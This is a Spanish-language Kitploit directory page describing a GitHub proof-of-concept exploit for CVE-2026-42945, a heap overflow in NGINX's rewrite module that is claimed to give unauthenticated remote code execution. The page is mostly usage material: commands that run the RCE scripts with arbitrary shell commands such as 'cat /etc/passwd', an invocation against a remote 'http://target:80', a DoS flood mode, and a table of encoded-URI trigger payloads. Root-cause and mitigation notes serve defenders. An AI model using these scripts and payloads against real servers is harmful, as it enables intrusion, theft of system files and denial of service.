Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
nginx-cve-2026-42945-poc — Prueba de concepto de explotación para CVE-2026-42945, un desbordamiento de montón crítico en el módulo de reescritura de NGINX que permite la ejecución remota de código sin autenticación mediante codificación de URI manipulada. Incluye entorno de pruebas basado en Docker, validación ASAN y múltiples scripts de explotación. | Kitploit
Herramientas/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
Seguridad de ContenedoresAnálisis Dinámico (Sandboxing)Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebFuzzingPruebas de PenetraciónExplotación de Binarios

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →

Acerca de

Prueba de concepto de explotación para CVE-2026-42945, un desbordamiento de montón crítico en el módulo de reescritura de NGINX que permite la ejecución remota de código sin autenticación mediante codificación de URI manipulada. Incluye entorno de pruebas basado en Docker, validación ASAN y múltiples scripts de explotación.

GitHub
forxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

Ver Repositorio
15hace 3 mesesAún no revisado
Compartir

CVE-2026-42945 — Desbordamiento de búfer en el montículo del Módulo Rewrite de NGINX → RCE

RCE confirmado exitoso — mediante desbordamiento de montículo + inyección de proceso GDB, ejecuta comandos arbitrarios en los procesos worker de NGINX / OpenResty.

Inicio rápido

root@kitploit:~
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx

# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty

# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

Resumen de la vulnerabilidad

PropiedadValor
Número CVECVE-2026-42945
Tipo de vulnerabilidadDesbordamiento de búfer en montículo → Ejecución remota de código (RCE)
Componente afectadongx_http_rewrite_module
Versiones afectadasNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
Puntuación de vulnerabilidadCVSS 9.4 (CRÍTICO)
Condiciones de explotaciónSin autenticación; RCE requiere privilegios ptrace (root)

Causa raíz de la vulnerabilidad

ngx_http_script_complex_value_code() asigna el búfer según la longitud después de decodificar la URI, pero ngx_http_script_copy_capture_code() llama a ngx_escape_uri() y escribe según la longitud después de codificar. Los caracteres de URL codificados se expanden 3 veces → desbordamiento del montículo.

Condiciones de activación

Se deben cumplir tres condiciones simultáneamente:

  1. Las directivas rewrite y set en la misma location
  2. La cadena de reemplazo de rewrite contiene ?
  3. set hace referencia a la variable capturada $1 de rewrite
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # 含 '?'
    set $original_endpoint $1;                     # 引用 $1
}

Pila de llamadas confirmada por ASAN

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

Estructura del proyecto

root@kitploit:~
.
├── run.sh                          # Punto de entrada para construir y probar con un solo comando
├── README.md
│
├── scripts/                        # Scripts de prueba y explotación
│   ├── rce.sh                      # RCE puro en Shell (curl + GDB, sin Python)
│   ├── exploit_rce.py              # RCE en Python (compatible 2.7/3.x)
│   ├── exploit.py                  # Script principal del PoC (check/exploit/rce/flood)
│   └── exploit_asan.py             # Escaneo completo con ASAN
│
├── package/                        # Archivos de despliegue y orquestación
│   ├── Dockerfile.rce              # Compilación de NGINX desde código fuente + entorno RCE
│   ├── Dockerfile.openresty.rce    # Compilación de OpenResty desde código fuente + entorno RCE
│   ├── Dockerfile                  # Imagen base (Alpine)
│   ├── Dockerfile.asan             # Imagen de depuración con ASAN
│   ├── docker-compose.yml          # Orquestación Docker (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # Configuración vulnerable de NGINX
│   ├── nginx-openresty.conf        # Configuración vulnerable de OpenResty
│   ├── start_rce.sh                # Script de inicio del contenedor NGINX RCE
│   └── start_openresty_rce.sh      # Script de inicio del contenedor OpenResty RCE
│
└── src/                            # Código fuente (para compilación)
    ├── nginx-1.26.3/               # Código fuente de NGINX 1.26.3
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # Código fuente de OpenResty 1.25.3.1 (nginx/1.25.3 integrado)

Uso detallado

Prueba dentro del contenedor Docker

root@kitploit:~
# Script Shell (sin dependencia de Python)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Script Python (compatible 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty de manera similar
docker exec openresty-rce bash /opt/rce.sh 'id'

Acceder al contenedor desde el host con exec

root@kitploit:~
docker exec -it nginx-rce bash
# Dentro del contenedor:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

Probar directamente un objetivo remoto

root@kitploit:~
# Requiere root + privilegios ptrace
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

Script principal del PoC (cuatro modos)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # Detectar vulnerabilidad
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # Verificación de desbordamiento de montículo con ASAN
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # Evaluación de riesgo RCE
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # Prueba de estrés DoS

Payload de activación

Recomendaciones de mitigación

  1. Actualizar NGINX a la versión 1.30.2 o superior
  2. Mitigación temporal: Evitar la combinación de rewrite (con ?) + set (que referencia $1)
  3. Reglas WAF: Bloquear solicitudes con gran cantidad de caracteres codificados %25/%3f/%23/%26
  4. Refuerzo de permisos: echo 1 > /proc/sys/kernel/yama/ptrace_scope

Referencias

  • F5 Advisory K000161019
  • NGINX Source
Descargar herramienta
PayloadDescripciónResultado
/api/%25 × N% codificado✅ Desbordamiento de montículo
/api/%3f × N? codificado✅ Desbordamiento de montículo
/api/%23 × N# codificado✅ Desbordamiento de montículo
/api/%26 × N& codificado✅ Desbordamiento de montículo